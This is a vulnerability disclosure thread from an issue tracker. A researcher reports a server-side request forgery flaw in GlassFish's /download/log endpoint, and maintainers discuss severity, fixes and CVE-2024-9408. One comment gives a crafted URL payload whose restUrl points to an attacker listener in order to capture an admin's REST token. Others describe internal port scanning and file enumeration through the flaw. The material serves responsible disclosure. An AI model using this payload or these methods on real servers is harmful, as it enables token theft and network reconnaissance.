Glassfish SSRF vulnerability in /download/log endpoint

Reported: September 09, 2024 by Mustafa GÜNDOĞDU echomustgundogdu@gmail.com @mustgundogdu.

added From_ML label

changed due date to September 11, 2024

made the issue visible to everyone

made the issue confidential

@dmisingname3q2 @smillidge @hsawamura, please have a look at this issue. Please note that this is a GitLab confidential issue and you need to be logged in to see it. Otherwise you will get a 404.

added vulnerabilityunconfirmed label

made the issue visible to everyone

assigned to @mustgundogdu

made the issue confidential

Hi, @dmisingname3q2,@smillidge,@hsawamura have you had a chance to analyze the vulnerability? Do you want additionaly information about the vulnerability?

Hi, let me clarify a few things.

Is this attack, utilizing this behavior, still effective in the latest version? https://github.com/eclipse-ee4j/glassfish/releases/tag/7.0.17
To better understand the severity of this issue, could you provide specific examples of sensitive service information that an attacker could obtain through this behavior?
For an attacker to exploit this behavior, the following prerequisites seem necessary. Is that right?
- The attacker knows the management port of GlassFish running on the victim's system.
- The victim is logged into GlassFish with administrative privileges at the time of the attack.
- The victim accesses a malicious URL generated by the attacker.

Hi, Even with proper authentication, an attacker who has compromised an admin account can use an SSRF vulnerability to perform a port scan on the server, discovering services. Additionally, the attacker can send requests to other systems within the internal network, enabling service discovery on internal systems such as gateways and other servers. I had included the service discovery and the requests to other servers in the 2nd, 3rd, and 4th screenshots.

Can you take a look at this source?

https://www.cobalt.io/blog/from-ssrf-to-port-scanner

If an admin account is compromised then an attacker can deploy Java applications onto the machine and therefore can do a lot of things.

For my understanding and to assess severity of the issue can you confirm.

Does this exploit require that a victim is logged into an admin account and is tricked to go to click on a fake URL generated by attacker hosted somewhere?

Also can you confirm to do a port scan the victim would be required to click on a list of links with different restURL parameters?

I can see that the exploit could make the server carry out a REST call to a different service but could you provide what information could be discovered by this other than there is a service listening on a specific port. So is a port scan the limit of information that could be exposed?

Thanks

An attacker could hijack a session from an admin user (see https://owasp.org/www-community/attacks/Session_hijacking_attack) and use that information to do malicious requests to the admin console to gather more information from internal systems the Glassfish installation has access to.

So the attack scenario is certainly complex but not unlikely. Session hijacking is also becoming more of real threat nowadays afaict.

just my 2c on this.

For that reason GlassFish separates admin and application ports. On production environments the admin port is usually not accessible except some private network over VPN or even just locally.

Hi, @netomi you're right. Here, the vulnerability is not about the attacker gaining access to the admin panel, but rather expanding the attack surface by exploiting the SSRF-vulnerable endpoint. Additionally, it's very clear that the restURL parameter is not sanitized and is open to abuse. An attacker who can access critical networks using GlassFish 6.2.5 via VPN or APT group techniques could potentially gain admin panel access using a default or previously obtained admin session. The attacker could then exploit the SSRF vulnerability in GlassFish to bypass the firewall, like in the DMZ, and perform port and service discovery. Below, I have prepared a visual scenario demonstrating this situation. Please review and patch the vulnerability.

In the scenario, the firewall only allows access to the DMZ network from a server running GlassFish. The attacker logs into the SSRF-vulnerable GlassFish 6.2.5 using either the default admin password or admin cookies obtained through various techniques. Then, by exploiting the SSRF vulnerability, the attacker sends requests from the server to the DMZ network, identifying the open ports and running services on the servers within that network. This expands the attack surface, enabling the attacker to plan more comprehensive attacks.

Note: The GlassFish admin panel does not have features such as port scanning or sending requests to other servers.

Hello , I would also like to mention how the vulnerability can be mitigated. To address this vulnerability, in the event of a port connection issue, the "Connection refused" error should not be returned. Instead, a default 500 page can be returned. This way, an attacker will not be able to detect open ports.

@netomi @dmisingname3q2 @smillidge @hsawamura

Hi @netomi , @dmisingname3q2 , @smillidge , @hsawamura will there be any preventive measures taken regarding the vulnerability, and will a CVE ID be assigned? Because I am considering making the vulnerability public based on this. Also, did you have a chance to review the scenario I last wrote and the impact of the vulnerability?

Additionally, the 'gfresttoken' value used for REST API calls can be obtained by an attacker by listening on a server where they are monitoring traffic. Another possible attack method could be as follows: The attacker sends the 'https://192.168.81.129:4848/download/log/?contentSourceId=LogViewer&start=56783&instanceName=server&restUrl=http%3A%2F%2F192.168.81.187%3A7878%2Fmanagement%2Fdomain' link to the victim, an admin user, and then captures the 'gfresttoken' on their monitoring machine, which can then be used for REST API calls. Below are the resources regarding the use of the mentioned token for REST API calls and screenshots showing its exploitation.

Attacker Listener Ip: 192.168.81.187

Glassfish Server Ip: 192.168.81.129

Victim User: Admin

Attacker Payload: /download/log/?contentSourceId=LogViewer&start=56783&instanceName=server&restUrl=http%3A%2F%2F192.168.81.187%3A7878%2Fmanagement%2Fdomain

https://docs.oracle.com/cd/E18930_01/html/821-2416/gjipx.html

https://glassfish.org/docs/latest/administration-guide.html

Hi @mustgundogdu for the REST token have you managed to gain access to a server with knowledge of the gfresttoken from another client that is not the admin user's browser?

Hi @smillidge, I have confirmed that the gfresttoken is associated with the admin user (and the gfresttoken value changes when the session ID changes). However, authentication cannot be performed for REST API calls in client applications. I can summarize the impacts and what an attacker could do by exploiting this vulnerability as follows;

Glassfish OS Version: Windows Server 2019 Glassfish OS IP: 192.168.81.160 Attacker IP: 192.168.81.187 Affected Versions: 7.0.17, 6.2.5

Impact:

 	* Port Scan and Network Discovery
 	* Information disclosure
 	* File Discovery

Sending an HTTP request to the '/download/log' endpoint using POST instead of GET, along with the 'id' value, leads to a 'Path disclosure' vulnerability. As a result, the file path 'C:\Users\Administrator\AppData\Local\Temp' is exposed, as shown in the screenshot below.(https://owasp.org/www-community/attacks/Full_Path_Disclosure)

Additionally, the 'restUrl' parameter in the outgoing request allows an attacker to perform file discovery on the target system. For this, it is sufficient for the attacker to use a wordlist to enumerate file names via GlassFish. In other words, the attacker can exploit the SSRF vulnerability in GlassFish for reconnaissance, performing scans either on the local system or across the network from the server where GlassFish is installed (using HTTP '200' and '404' status codes).

I have not made the vulnerability public yet since no action has been taken, but it can be exploited in various attack and bypass scenarios. An urgent fix should be provided for this. My recommendation for the solution is as follows;

#239 (comment 2822759)

Hi @smillidge @dmisingname3q2 @hsawamura @netomi, I just wanted to inform you that if no action is taken, I may need to disclose the vulnerability publicly. Thank you for your understanding.

@smillidge @dmisingname3q2 @hsawamura

So I looked at the relevant code that takes the restURL parameter:

https://github.com/eclipse-ee4j/glassfish/blob/10aa956ce0664ae713f498df717245c8df9081ea/appserver/admingui/common/src/main/java/org/glassfish/admingui/common/servlet/LogFilesContentSource.java#L63

So here the restURL parameter is taken as is without further validation and the content at this URL is retrieved and returned if possible.

Now I am wondering if in the DownloadServlet we can not validate the restURL to be the have the same hostname and port as the servlet itself, unless there are use-cases where the admin UI would request logs from a different host / port? Is that even possible?

Either the DownloadServlet would know the hostname / port upon initialization, or it would be able to access that information during each request via ServletRequest.getServerName(...) and ServletRequest.getServerPort(...). Would this be a simple and straight-forward way to prevent this (theoretical) attack vector?

I understand that throughout the code base, something like the restURL is used a lot and would require some substantial changes, but in this case an additional validation could avoid the problem with the /download/log endpoint imho.

Hi @smillidge @dmisingname3q2 @hsawamura @netomi, I just wanted to inform you that if no action is taken, I may need to disclose the vulnerability publicly. Thank you for your understanding.

Thank you for your patience, @mustgundogdu. May I ask about your expectations regarding the timing of the disclosure?

Hello @mbarbero, I have been waiting for a long time and there was no information that any action was taken.

From what I can see, you reported the issue on September 9th, which was only 19 days ago. I understand that this may feel like a long time, but the project team has been engaging with you and taking initial investigative steps, so progress is being made. Please keep in mind that the project team may currently be in a release phase or focusing on other priorities.

Typically, we adhere to the 90-day disclosure principle as outlined by Project Zero, so I kindly ask you to consider waiting for at least this period before stepping away from the discussion or disclosing your report publicly. It's in everyone's best interest to follow a responsible disclosure process.

Thank you for your understanding!

I also thank you for your understanding!, but it is unknown whether the vulnerability is even acknowledged or not. All I want is for such a widely used application to be patched quickly and not cause critical problems.

it is unknown whether the vulnerability is even acknowledged or not

For now, the only conclusion is that it's still under assessment. Thank you for your patience.

All I want is for such a widely used application to be patched quickly and not cause critical problems

Be assured, we all seek the same outcome.

@netomi "unless there are use-cases where the admin UI would request logs from a different host / port? Is that even possible?" I think there is a possibility of that when the admin server is requesting logs from a managed server an a different host but can't be sure. @dmisingname3q2 or @hsawamura may know more.

I was wondering how this API endpoint is called nominally, i.e. via the Admin UI and if there would be a way to chose the actual server from which the logs are downloaded or if it just default to the same server on which the Admin UI is running in which case the restURL would be redundant as only the path information is required actually.

If the idea is that this endpoint shall also be reachable by other means, then it would have to be kept like that.

Almost all of the admin operations in GlassFish, including those from the admin UI, are performed via REST requests to its own admin port. This allows administration from remote hosts, but a compromised admin session grants an attacker complete control. Exploiting this, deploying and executing a malicious Java applications on GlassFish would be simpler.

As you already know, it is difficult to completely change this behavior. Given the severe consequences of a compromised admin session, we can only strongly recommend the following security practices for administrators:

Do not run GlassFish with root privileges.
Change the admin port from its default.
Do not expose the admin port to the internet.
Do not touch other interfaces while logged into GlassFish.
Always log out from GlassFish after completing operations.

Some of the above are already documented in the GlassFish security guide. https://glassfish.org/docs/latest/security-guide.html#securing-the-glassfish-server-host

Since the issue is with the admin port, not the application port, these measures should be somewhat effective.

cc) @smillidge @dmisingname3q2

closed

reopened

removed due date September 11, 2024

Hi @netomi , Instead of making major changes to the restUrl parameters, you can work on restricting the connection information in the RunTimeException function and allowing only localhost requests. This way, the user will not be able to obtain any information about the port. https://github.com/eclipse-ee4j/glassfish/blob/10aa956ce0664ae713f498df717245c8df9081ea/appserver/admingui/common/src/main/java/org/glassfish/admingui/common/servlet/LogFilesContentSource.java#L83

I think it is still under assessment. I'm still not clear whether information is only disclosed if the request is made by a user logged in with administrator credentials.

@hsawamura @dmisingname3q2 have you done any investigation work on this?

@mbarbero it is worth reserving a CVE just at the moment I am not sure what the severity of the CVE will be.

CVE-2024-9408 has been reserved. We will use https://gitlab.eclipse.org/security/cve-assignement/-/issues/38 to track the writing of the advisory.

Hi, can I send you my identification and contact information for the technical details after the vulnerability has been resolved for the CVE assignment

I have granted you access to https://gitlab.eclipse.org/security/cve-assignement/-/issues/38. Feel free to share in there the personal infos you want us to use in the credits section.

added cvereserved label

@mustgundogdu "Instead of making major changes to the restUrl parameters, you can work on restricting the connection information in the RunTimeException function" is probably the best approach or sending back a raw 404 for any error that occurs.

Hi @smillidge , Has there been any update regarding the change?

assigned to @atijmse7y

assigned to @omihalyi

assigned to @avpinchuk

assigned to @pygieo

assigned to @kaido207

@atijmse7y @omihalyi @avpinchuk @pygieo @kaido207, please have a look if you can assist in resolving this issue. Please note that this is a GitLab confidential issue and you need to be logged in to see it. Otherwise you will get a 404.

Greetings @mustgundogdu , many thanks for reporting!
We're making this issue public since it has passed number of days expected for responsible vulnerability disclosure.
The mitigation on this issue is expected to happen in the future.
Currently the Glassfish committers have a considerable workload on their hands and since this vulnerability requires access to an admin account, it has been considered there are greater risks coming from a malicious actor with that type of access.

made the issue visible to everyone

Glassfish SSRF vulnerability in /download/log endpoint

Basic information

What are the affected versions?

Details of the issue

Child items ...

Activity